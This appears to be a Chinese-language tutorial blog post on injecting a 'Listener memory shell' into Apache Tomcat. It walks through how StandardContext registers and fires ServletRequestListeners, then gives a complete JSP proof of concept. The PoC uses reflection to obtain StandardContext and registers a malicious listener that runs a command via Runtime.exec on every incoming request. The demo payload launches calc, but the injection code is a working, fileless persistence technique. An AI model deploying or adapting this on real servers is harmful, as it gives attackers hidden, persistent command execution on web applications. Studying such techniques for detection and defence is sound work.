Listener内存马

Listener内存马

前置基础

Java Web 开发中的监听器(Listener)就是 Application、Session 和 Request 三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。

Listener三个域对象

  • ServletContextListener
  • HttpSessionListener
  • ServletRequestListener

根据名字来看,ServletRequestListenner是最适合当作内存马的。从名字就知道,ServletRequestListener是用来监听ServletRequest对象的,当我们访问任意资源时,即可触发ServletRequestListener#requestInitialized()方法

构建listener

之前构建Filter内存马,需要定义一个实现好filter接口的类,Listener也是一样,需要定义一个实现好Listener接口的类

要实现listener的业务,就要实现EventListener,感觉和Serializable接口相似,只起了一个标记作用

1
2
3
4
5
6
7
8
package java.util;

/**
* A tagging interface that all event listener interfaces must extend.
* @since JDK1.1
*/
public interface EventListener {
}

EventListener的实现类非常多,我们优先找Servlet开头的,方便去触发我们所构造的恶意Lisenter

我们找到了ServletRequestListener

感觉该监听器在我们每次发送请求时,都会触发其requestInitialized方法

1
2
3
4
5
6
public interface ServletRequestListener extends EventListener {

default public void requestDestroyed(ServletRequestEvent sre) {}

default public void requestInitialized(ServletRequestEvent sre) {}
}

先构造一个简单的listener

因为前面猜想 requestInitialized() 方法可以触发 Listener 监控器,所以我们在 requestInitialized() 方法里面加上一些代码,来证明它何时被执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;

@WebListener("/listenerTest")
public class ListenerTest implements ServletRequestListener {

public ListenerTest(){
}

@Override
public void requestDestroyed(ServletRequestEvent sre) {

}

@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("Listener Initialized");
}
}

同样我们也需要在web.xml中配置

1
2
3
<listener>
<listener-class>ListenerTest</listener-class>
</listener>

接下来在访问路径时,都会打印信息

至此,Listener 基础代码实现完成,下面我们来分析 Listener 的运行流程。

分析

访问前

与servlet注册时相似,我们直接看到解析xml文件后做注册的地方ContextConfig#configureContext

将web.xml读取后,作为参数传入该方法中后,对servlet、filter、listener等组件进行配置

调试ContextConfig#configureContext,我们可以看到,获取的web.xml中已经有了对应的Listener文件

我们在这里重点关注listener的读取

1
2
3
4
5
6
7
private void configureContext(WebXml webxml) {
......
for (String listener : webxml.getListeners()) {
context.addApplicationListener(listener);
}
......
}

我们在此处下个断点,运行到这里

这里的context是StandardContext,执行的是StandardContextaddApplicationListener方法

在读取完web.xml文件后,需要去加载Listener

当我们读取完配置文件,当应用启动的时候,StandardContext 会去调用 listenerStart() 方法。这个方法做了一些基础的安全检查,最后完成简单的 start 业务。

刚开始的地方,listenerStart() 方法中有这么一个语句

1
String listeners[] = findApplicationListeners();

这里这个方法实际就是把之前的 Listener 返回,存放到listeners

1
2
3
4
@Override
public String[] findApplicationListeners() {
return applicationListeners;
}

访问后

把断点下在requestInitialized方法,开启调试,访问路径后走到这里

但这里只是我们所写的代码执行点,我们需要向上找,找到StandardContext#fireRequestInitEvent方法

这里会调用getApplicationEventListeners方法,获取ApplicationEventListeners并存入instances[]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
@Override
public boolean fireRequestInitEvent(ServletRequest request) {

Object instances[] = getApplicationEventListeners();

if ((instances != null) && (instances.length > 0)) {

ServletRequestEvent event =
new ServletRequestEvent(getServletContext(), request);

for (Object instance : instances) {
if (instance == null) {
continue;
}
if (!(instance instanceof ServletRequestListener)) {
continue;
}
ServletRequestListener listener = (ServletRequestListener) instance;

try {
listener.requestInitialized(event);
} catch (Throwable t) {
ExceptionUtils.handleThrowable(t);
getLogger().error(sm.getString(
"standardContext.requestListener.requestInit",
instance.getClass().getName()), t);
request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t);
return false;
}
}
}
return true;
}

我们进入到getApplicationEventListeners()方法中,可以看到该方法只做了一件事:获取一个 Listener 数组

1
2
3
4
@Override
public Object[] getApplicationEventListeners() {
return applicationEventListenersList.toArray();
}

后面的for循环,会从Listener数组中,将listener一个一个取出来,去执行它的<font style="color:rgb(80, 80, 92);">requestInitialized</font>方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
for (Object instance : instances) {
if (instance == null) {
continue;
}
if (!(instance instanceof ServletRequestListener)) {
continue;
}
ServletRequestListener listener = (ServletRequestListener) instance;

try {
listener.requestInitialized(event);
} catch (Throwable t) {
ExceptionUtils.handleThrowable(t);
getLogger().error(sm.getString(
"standardContext.requestListener.requestInit",
instance.getClass().getName()), t);
request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t);
return false;
}
}

我们现在就要想,向这个数组中去添加我们的恶意listener

我们可以通过 StandardContext#addApplicationEventListener() 方法来添加 Listener

1
2
3
public void addApplicationEventListener(Object listener) {
applicationEventListenersList.add(listener);
}

到这一步的调试就没有内容了,所以这里的逻辑有应该是和 Filter 差不多的,Listener 这里有一个 Listener 数组,对应的 Filter 里面也有一个 Filter 数组。

实现

要实现内存马的注入,有以下两步
  • 在Listener中的requestInitialized() 方法里面写入恶意代码
  • 通过 StandardContext 类的 addApplicationEventListener() 方法把恶意的 Listener 放进去

首先和前两个内存马一样,通过反射来获取<font style="color:rgb(80, 80, 92);">StandardContext</font>

1
2
3
4
5
6
7
8
ServletContext servletContext =  request.getServletContext();  
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

接下来定义我们的恶意Listener

1
2
3
4
5
6
7
8
9
10
11
<%!
public class Shell_Listener implements ServletRequestListener {

public void requestInitialized(ServletRequestEvent sre) {
Runtime.getRuntime().exec("calc");
}

public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>

最后就要实例化内存马,并添加监听器

1
2
3
4
<%
Shell_Listener shell_Listener = new Shell_Listener();
context.addApplicationEventListener(shell_Listener);
%>

最终poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<html>
<head>
<title>Title</title>
</head>
<body>

<%!
public class Shell_Listener implements ServletRequestListener {

public void requestInitialized(ServletRequestEvent sre) {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>

<%
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

Shell_Listener shellListener = new Shell_Listener();
standardContext.addApplicationEventListener(shellListener);
%>

</body>
</html>

将tomcat服务启动后,访问addListener.jsp,将恶意filter注册进tomcat,后续访问任何一个路径,都可以成功执行命令